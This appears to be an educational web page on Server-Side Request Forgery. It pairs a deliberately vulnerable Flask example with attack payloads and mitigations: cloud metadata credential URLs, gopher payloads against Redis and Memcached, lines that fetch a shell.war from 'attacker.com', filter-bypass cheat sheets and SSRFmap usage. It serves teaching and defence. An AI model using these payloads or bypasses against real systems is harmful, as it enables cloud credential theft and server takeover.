Back to Attack Flows

Table of Contents

What is SSRF?

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. When exploited, SSRF can enable attackers to:

Why is it Critical?

SSRF has become increasingly dangerous in cloud environments and is part of the OWASP Top 10 (#10 in 2021). It's critical because:

How SSRF Works

The Vulnerable Pattern

SSRF occurs when an application fetches a remote resource based on user-supplied input without proper validation:

# VULNERABLE CODE
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    # User controls the URL - DANGEROUS!
    url = request.args.get('url')
    response = requests.get(url)
    return response.text

The Attack

An attacker provides a URL pointing to internal resources or cloud metadata endpoints:

# Legitimate use:
GET /fetch?url=https://example.com/image.jpg

# Attack - Access AWS metadata:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Attack - Access internal service:
GET /fetch?url=http://localhost:8080/admin/delete-all-users

# Attack - Read local files (if supported):
GET /fetch?url=file:///etc/passwd

Attack Types

1. Basic SSRF

Direct response is returned to the attacker:

2. Blind SSRF

No direct response, attacker must use out-of-band techniques:

3. Semi-Blind SSRF

Partial information leakage through error messages or status codes:

# Different errors reveal information
200 OK - Service exists and responded
404 Not Found - Service exists but endpoint invalid
Connection Timeout - Host/port unreachable

Advanced Attack Techniques

1. Cloud Metadata Exploitation

# AWS - Instance Metadata Service (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# AWS - User data (may contain secrets)
http://169.254.169.254/latest/user-data

# Google Cloud Platform
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires header: Metadata: true

# Digital Ocean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1.json

2. Internal Network Reconnaissance

# Port scanning
for port in range(1, 1000):
    url = f"http://192.168.1.5:{port}"
    # Check response time or status

# Common internal targets
http://localhost:80        # Web server
http://localhost:8080      # Application server
http://localhost:3306      # MySQL
http://localhost:5432      # PostgreSQL
http://localhost:6379      # Redis
http://localhost:9200      # Elasticsearch
http://127.0.0.1:8443      # Admin interface

# Private network ranges
http://10.0.0.0/8
http://172.16.0.0/12
http://192.168.0.0/16

3. Protocol Smuggling

Exploiting different URL schemes:

# File protocol (read local files)
file:///etc/passwd
file:///c:/windows/win.ini

# Gopher protocol (can send arbitrary TCP data)
gopher://localhost:6379/_SET%20key%20value

# Dict protocol (probe services)
dict://localhost:11211/stats

# LDAP protocol
ldap://localhost:389/%0astats%0aquit

# SFTP/FTP
ftp://internal-ftp-server/
sftp://internal-server/

4. SSRF to Remote Code Execution

# Redis exploitation via Gopher
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a...

# Exploit internal Tomcat manager
http://internal-tomcat:8080/manager/deploy?war=http://attacker.com/shell.war

# Memcached exploitation
gopher://localhost:11211/_set%20payload%200%200%2010%0d%0amalicious

# Exploiting internal services
http://internal-jenkins/script
http://internal-docker/containers/json

5. SSRF Chain Attacks

# Step 1: SSRF to access internal admin panel
http://internal-admin/create-user

# Step 2: Use created user to access higher privileges
http://internal-admin/grant-admin?user=attacker

# Step 3: Use admin to deploy malicious code
http://internal-admin/deploy?url=http://attacker.com/shell.war

Defense Bypass Strategies

Bypassing URL Validation

1. Alternative IP Encodings

# Decimal encoding
http://2130706433/  = http://127.0.0.1/

# Octal encoding
http://0177.0.0.1/  = http://127.0.0.1/

# Hexadecimal encoding
http://0x7f.0x0.0x0.0x1/  = http://127.0.0.1/

# Mixed encoding
http://0177.0.0.1/  = http://127.0.0.1/

# Integer conversion
http://3232235777/  = http://192.168.1.1/

# IPv6
http://[::1]/  = http://localhost/
http://[0:0:0:0:0:ffff:127.0.0.1]/

2. DNS Rebinding

# Setup DNS that resolves to different IPs
# First request: Returns whitelisted IP (8.8.8.8)
# Second request: Returns internal IP (192.168.1.1)

# Attacker's DNS:
attacker.com -> 8.8.8.8 (TTL: 0)
attacker.com -> 192.168.1.1 (on next lookup)

3. URL Parser Confusion

# @ character tricks
http://expected-host@internal-host/
http://expected-host%00@internal-host/

# Backslash vs forward slash
http://expected-host\@internal-host/

# URL encoding
http://127.0.0.1%23@expected-host/
http://expected-host#@127.0.0.1/

# Open redirect abuse
http://trusted-site.com/redirect?url=http://169.254.169.254/

# Unicode/IDN homograph
http://127.0.0.1  (using Cyrillic characters)

4. Bypassing Blacklists

# If "127.0.0.1" is blacklisted:
http://localhost/
http://0.0.0.0/
http://127.1/
http://127.0.1/
http://[::1]/
http://2130706433/

# If "localhost" is blacklisted:
http://localtest.me/  (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://vcap.me/
http://lvh.me/

# If "169.254.169.254" is blacklisted:
http://[::ffff:169.254.169.254]/
http://0251.0376.0251.0376/  (octal)
http://instance-data/  (AWS link-local name)

5. Scheme Manipulation

# Mixed case
FILE:///etc/passwd
HtTp://localhost/

# Alternative protocols
jar:http://internal-host!/
tftp://internal-host/
php://filter/convert.base64-encode/resource=http://internal

Prevention & Mitigation

1. URL Allowlisting (Recommended)

THE PRIMARY DEFENSE

from urllib.parse import urlparse

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['https']

def is_safe_url(url):
    try:
        parsed = urlparse(url)
        
        # Check scheme
        if parsed.scheme not in ALLOWED_SCHEMES:
            return False
        
        # Check hostname
        if parsed.hostname not in ALLOWED_HOSTS:
            return False
        
        # Check for username (@ tricks)
        if parsed.username:
            return False
            
        return True
    except Exception:
        return False

# Usage
url = request.args.get('url')
if is_safe_url(url):
    response = requests.get(url, timeout=5)
else:
    abort(400, "Invalid URL")

2. Deny Private IP Ranges

import ipaddress

def is_private_ip(hostname):
    """Check if hostname resolves to private IP"""
    try:
        ip = ipaddress.ip_address(hostname)
        return (
            ip.is_private or
            ip.is_loopback or
            ip.is_link_local or
            ip.is_multicast or
            ip.is_reserved
        )
    except ValueError:
        # Not an IP, resolve hostname
        import socket
        try:
            resolved_ip = socket.gethostbyname(hostname)
            return is_private_ip(resolved_ip)
        except socket.gaierror:
            return True  # Deny if can't resolve

# Usage
parsed = urlparse(url)
if is_private_ip(parsed.hostname):
    abort(400, "Access to private IPs is forbidden")

3. Use Indirect Reference Maps

# Instead of accepting URLs, use IDs
ALLOWED_RESOURCES = {
    '1': 'https://api.example.com/data1',
    '2': 'https://cdn.example.com/image1.jpg',
    '3': 'https://partner.com/resource'
}

@app.route('/fetch')
def fetch_resource():
    resource_id = request.args.get('id')
    
    if resource_id not in ALLOWED_RESOURCES:
        abort(400, "Invalid resource ID")
    
    url = ALLOWED_RESOURCES[resource_id]
    response = requests.get(url, timeout=5)
    return response.text

4. Network Segmentation

# Docker network isolation
version: '3'
services:
  web:
    networks:
      - public
    # Cannot access internal services
  
  internal-api:
    networks:
      - internal
    # Not accessible from web service

networks:
  public:
  internal:

5. Disable Unnecessary URL Schemes

import requests

# Create custom session with restricted protocols
session = requests.Session()
session.mount('file://', None)  # Disable file://
session.mount('ftp://', None)   # Disable ftp://
session.mount('gopher://', None)  # Disable gopher://

# Only allow HTTP/HTTPS
if not url.startswith(('http://', 'https://')):
    abort(400, "Invalid protocol")

response = session.get(url, timeout=5)

6. Implement Response Validation

def fetch_url_safely(url):
    # Validate URL first
    if not is_safe_url(url):
        abort(400)
    
    try:
        # Set timeout
        response = requests.get(
            url,
            timeout=5,
            allow_redirects=False,  # Prevent redirect bypass
            stream=True
        )
        
        # Check content type
        content_type = response.headers.get('Content-Type', '')
        if 'image/' not in content_type:
            abort(400, "Invalid content type")
        
        # Limit response size
        max_size = 10 * 1024 * 1024  # 10MB
        if int(response.headers.get('Content-Length', 0)) > max_size:
            abort(400, "File too large")
        
        return response.content
        
    except requests.RequestException:
        abort(500, "Failed to fetch resource")

7. Use AWS IMDSv2

# AWS IMDSv2 requires session token (prevents SSRF)
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-put-response-hop-limit 1

8. Firewall Rules

# Block access to metadata service from application servers
iptables -A OUTPUT -d 169.254.169.254 -j DROP

# Allow only specific services to access internal network
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

Detection & Testing

Manual Testing Techniques

1. Basic SSRF Test

# Test if server makes requests
# Use a service like webhook.site or Burp Collaborator
?url=http://YOUR-CALLBACK-URL.com

# Test localhost access
?url=http://localhost/
?url=http://127.0.0.1/

# Test metadata endpoints
?url=http://169.254.169.254/latest/meta-data/

2. Port Scanning Test

# Test different ports
?url=http://localhost:22    # SSH - should timeout or refuse
?url=http://localhost:80    # HTTP - should respond
?url=http://localhost:443   # HTTPS
?url=http://localhost:3306  # MySQL
?url=http://localhost:6379  # Redis

# Measure response times to identify open ports

3. Protocol Testing

# Test different schemes
?url=file:///etc/passwd
?url=gopher://localhost:6379/
?url=dict://localhost:11211/
?url=ftp://internal-ftp/

Automated Testing Tools

SSRFmap

Comprehensive SSRF exploitation tool:

# Install
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip install -r requirements.txt

# Basic scan
python ssrfmap.py -r request.txt -p url

# With specific module
python ssrfmap.py -r request.txt -p url -m readfiles

# AWS metadata exploitation
python ssrfmap.py -r request.txt -p url -m aws

Burp Suite

OWASP ZAP

Interactsh

# Self-hosted out-of-band interaction server
# Install
GO111MODULE=on go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start client
interactsh-client

# Use the generated URL in SSRF tests
?url=http://GENERATED-ID.interact.sh

Code Review Patterns

Search for these vulnerable patterns:

# Python
grep -r "requests.get.*request\." .
grep -r "urllib.request.*request\." .
grep -r "httplib.*request\." .

# Node.js
grep -r "http.get.*req\." .
grep -r "axios.*req\." .
grep -r "fetch.*req\." .

# PHP
grep -r "file_get_contents.*\$_" .
grep -r "curl_exec.*\$_" .
grep -r "fopen.*\$_" .

# Java
grep -r "URL.*request" .
grep -r "HttpClient.*request" .

Security Headers Testing

# Check if metadata endpoints require headers
curl http://169.254.169.254/latest/meta-data/
# Should fail without proper headers

# Google Cloud requires header
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/

# Azure requires header
curl -H "Metadata: true" http://169.254.169.254/metadata/instance

Real-World Examples

Notable Incidents

1. Capital One Breach (2019)

2. Vend (2017)

3. Uber (2016)

4. Google (Multiple Findings)

Common Vulnerable Features

Attack Scenarios

Scenario 1: AWS Credential Theft

# Step 1: Identify SSRF in image upload
POST /api/upload
{
  "image_url": "http://169.254.169.254/latest/meta-data/"
}

# Step 2: Enumerate IAM roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Step 3: Extract credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole

# Step 4: Use credentials to access AWS services
aws s3 ls --profile stolen-creds

Scenario 2: Redis Exploitation via Gopher

# Craft Gopher payload to write SSH key to Redis
?url=gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0d%0a%0d%0assh-rsa%20AAAAB3...%0d%0a%0d%0a%0d%0a*4%0d%0a...

# This writes attacker's SSH key allowing server access

Quick Reference

Common Target URLs

# Cloud Metadata Services
http://169.254.169.254/latest/meta-data/               # AWS
http://metadata.google.internal/computeMetadata/v1/   # GCP
http://169.254.169.254/metadata/instance               # Azure

# Localhost variations
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://127.1/
http://2130706433/

# Private network ranges
http://10.0.0.1/
http://172.16.0.1/
http://192.168.1.1/

# Common internal services
http://localhost:6379/    # Redis
http://localhost:3306/    # MySQL
http://localhost:5432/    # PostgreSQL
http://localhost:9200/    # Elasticsearch
http://localhost:8080/    # Admin panels
http://localhost:27017/   # MongoDB

Bypass Techniques Cheat Sheet

# IP encoding
127.0.0.1 = 0177.0.0.1 (octal)
127.0.0.1 = 0x7f.0x0.0x0.0x1 (hex)
127.0.0.1 = 2130706433 (decimal)
127.0.0.1 = 127.1 (shorthand)

# URL tricks
http://expected@internal/
http://expected%00@internal/
http://expected\@internal/

# DNS aliases (resolve to 127.0.0.1)
http://localtest.me/
http://127.0.0.1.nip.io/
http://vcap.me/
http://lvh.me/
http://sslip.io/

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

Testing Checklist

Prevention Checklist

Resources